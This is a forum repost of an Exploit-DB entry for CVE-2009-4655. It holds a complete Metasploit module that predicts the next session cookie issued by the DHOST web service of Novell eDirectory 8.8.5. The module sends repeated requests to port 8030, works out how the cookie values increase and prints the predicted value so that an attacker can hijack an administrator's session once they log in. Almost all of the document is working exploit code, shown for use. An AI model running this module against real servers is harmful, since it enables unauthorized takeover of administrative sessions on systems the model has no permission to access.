Exploit Novell eDirectory 8.8.5 - DHost Weak Session Cookie Session Hijacking (Metasploit)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
33767
Проверка EDB
  1. Пройдено
Автор
METASPLOIT
Тип уязвимости
REMOTE
Платформа
NOVELL
CVE
cve-2009-4655
Дата публикации
2010-03-14
Код:
source: https://www.securityfocus.com/bid/38782/info

Novell eDirectory is prone to a session-hijacking vulnerability.

An attacker can exploit this issue to gain access to the affected application.

Novell eDirectory 8.8.5 is vulnerable; other versions may also be affected. 

##
# $Id: edirectory_dhost_cookie.rb 7519 2009-11-14 23:08:27Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell eDirectory DHOST Predictable Session Cookie',
			'Description'    => %q{
				This module is able to predict the next session cookie value issued
			by the DHOST web service of Novell eDirectory 8.8.5. An attacker can run
			this module, wait until the real administrator logs in, then specify the
			predicted cookie value to hijack their session.
			},
			'References'     =>
				[
					['OSVDB', '60035'],
				],
			'Author'         => 'hdm',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 7519 $'
		))

		register_options([
			Opt::RPORT(8030),
			OptBool.new('SSL', [true, 'Use SSL', true])
		], self.class)
	end

	def run
		vals = []
		name = ""

		print_status("Making 5 requests to verify predictions...")
		1.upto(6) do

			connect
			req =  "GET /dhost/ HTTP/1.1\r\n"
			req << "Host: #{rhost}:#{rport}\r\n"
			req << "Connection: close\r\n\r\n"
			sock.put(req)
			res = sock.get_once(-1,5)
			disconnect

			cookie = nil
			if(res =~ /Cookie:\s*([^\s]+)\s*/mi)
				cookie = $1
				cookie,junk = cookie.split(';')
				name,cookie = cookie.split('=')
				cookie      = cookie.to_i(16)
				vals << cookie
			end
		end

		deltas   = []
		prev_val = nil
		vals.each_index do |i|
			if(i > 0)
				delta = vals[i] - prev_val
				print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" % delta}")
				deltas << delta
			end
			prev_val = vals[i]
		end

		deltas.uniq!
		if(deltas.length < 4)
			print_status("The next cookie value will be: #{name}=#{"%.8x" % (prev_val + deltas[0])}")
		else
			print_status("The cookie value is less predictable, maybe this has been patched?")
			print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")
		end
	end

end
 
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